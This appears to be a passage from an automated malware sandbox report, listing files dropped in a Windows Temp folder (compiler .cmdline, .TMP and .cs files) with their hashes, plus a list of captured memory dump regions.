SHA256 5e779db676d438c491736b4d2f30b08daea3e0ffc4e50fe491a6e05f37d68642
MD5 932ed63836198d1a5bb0f4eb80b19269
SHA1 e827ebd667ddca7396fff55a4f033559fd7c7cd5
SHA512 b29796c4603df1d0a39b2551e383d2c796dcb720ba336599309381568a045fc7473605e35044332c8921000e4589946cbffd8a1c2582a7ae7c188b0d5fe435c4
TLSH
T17CF0C958574D172E80EA020BBED0E44ADAB3613205BB7A10BC8D17B0AF2A20083A2F1C
MD5 SHA1 SHA512 TLSH

Submit Download

vxnl2c43.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\vxnl2c43\vxnl2c43.cmdline
Size 369B
SHA256 560b33fb87952afe9030fe4c1121de9d591e043bb1ff65f316d7e5e8ccd10950
MD5 c0b7cf4645fea0942e5f9315d77a9fae
SHA1 7144d6f3d98afcfee23b59eea6335d16fe94dd5e
SHA512 9a6d31ed62cd263cd8bee82e56eae9dd20bb39c131a17b36568351b27d59d4b4b787da047330b23dd8371db6e2b2d89d9baaa134db51cf5b22eec8dfccc94dbd
TLSH
T153E0202E52D6CA7E25ED140762A9E5ACC372474B2A437F845290445DD217C0467D1756
MD5 SHA1 SHA512 TLSH

Submit Download

CSC5B8D486F6A944A618E661124413F45.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\yt1d1x4f\CSC5B8D486F6A944A618E661124413F45.TMP
Size 652B
SHA256 14b075f5525a2256fa8a0d3b14b18ca95715edbbc4bf7922b66b6066d519db01
MD5 621ca7ccce832f39b8fd5496e51e07c2
SHA1 9884549d5f6b04dbd0dbf8451fae40d560aa90ac
SHA512 923a8fd0c4c3e497b89901e3d8498559a3c7efd66a505653c542a6fbc5bf53e1a8c5df67811719f3a3dcf6b719aace09b7229a539d82fa9ade254fa0a95da8b2
TLSH
T190F0820963F8030EF0F34B31BDF64363A1A8BC64DE3293ED1441031D2C656108A62FB6
MD5 SHA1 SHA512 TLSH

Submit Download

yt1d1x4f.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\yt1d1x4f\yt1d1x4f.0.cs
Size 1KB
SHA256 2dbc0a67d963f6c18a462bca497bad10c22894c5ebc28d50969ddab31c66c3f2
MD5 8452a041d6a0c3c7e16e1de04a246277
SHA1 46f36ca69e576f044420d92adb697dc1e9fd28bf
SHA512 4ce01ac9584979574da19b7d808202e78b3bfca578623846209822a0cab07be81a97f3445ea1c37d6d5b4a7e798f8c9196c6cdeccbd541da63c1cd4b2c79d9a8
TLSH
T1B031125B936D02614C736394EED8B48BED23002A15FF6921F5DE43A14FA7123DB36E09
MD5 SHA1 SHA512 TLSH

Submit Download

yt1d1x4f.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\yt1d1x4f\yt1d1x4f.cmdline
Size 369B
SHA256 31e117884ed9f3c8c04944221c0af740588014363bf21b3c198e444cef4088fb
MD5 9f2e51fed9133df6a08031370988f09a
SHA1 82f24639d566e9adb3adb123c118226d488bc7ac
SHA512 975ef6ed0e1a890f049bc4d4e6fe635a93f5ff29750ca3f94ead6c32c7f65c0a551dca7245b63f26b8f45a320974e866cdc87dfd443cb0a0595eedccd4d804ef
TLSH
T11DE0C03E8A66CE7D51DD105723E9C4ACCA720B432BCA3FA45850840ED05F00027E1F41
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2556-62-0x000002D63F960000-0x000002D63F97C000-memory.dmp

Download

memory/2556-76-0x000002D63FEE0000-0x000002D640056000-memory.dmp

Download

memory/2556-59-0x000002D63F3F0000-0x000002D63F40C000-memory.dmp

Download

memory/2556-22-0x000002D63F360000-0x000002D63F368000-memory.dmp

Download

memory/2556-61-0x000002D63F7E0000-0x000002D63F7EA000-memory.dmp

Download

memory/2556-52-0x000002D63F3B0000-0x000002D63F3B8000-memory.dmp

Download

memory/2556-0-0x000002D63D120000-0x000002D63D130000-memory.dmp

Download

memory/2556-9-0x000002D63D120000-0x000002D63D130000-memory.dmp

Download

memory/2556-75-0x000002D63F940000-0x000002D63F948000-memory.dmp

Download

memory/2556-60-0x000002D63F410000-0x000002D63F4C3000-memory.dmp

Download

memory/2556-77-0x000002D640270000-0x000002D64047A000-memory.dmp

Download

memory/2556-7-0x000002D63F2F0000-0x000002D63F312000-memory.dmp

Download

memory/2556-39-0x000002D63F3A0000-0x000002D63F3A8000-memory.dmp

Download

memory/2556-106-0x000002D63D120000-0x000002D63D130000-memory.dmp

Download

memory/2556-105-0x000002D63D120000-0x000002D63D130000-memory.dmp

Download

memory/2556-107-0x000002D63D120000-0x000002D63D130000-memory.dmp

Download

memory/2556-1-0x000002D63D120000-0x000002D63D130000-memory.dmp

Download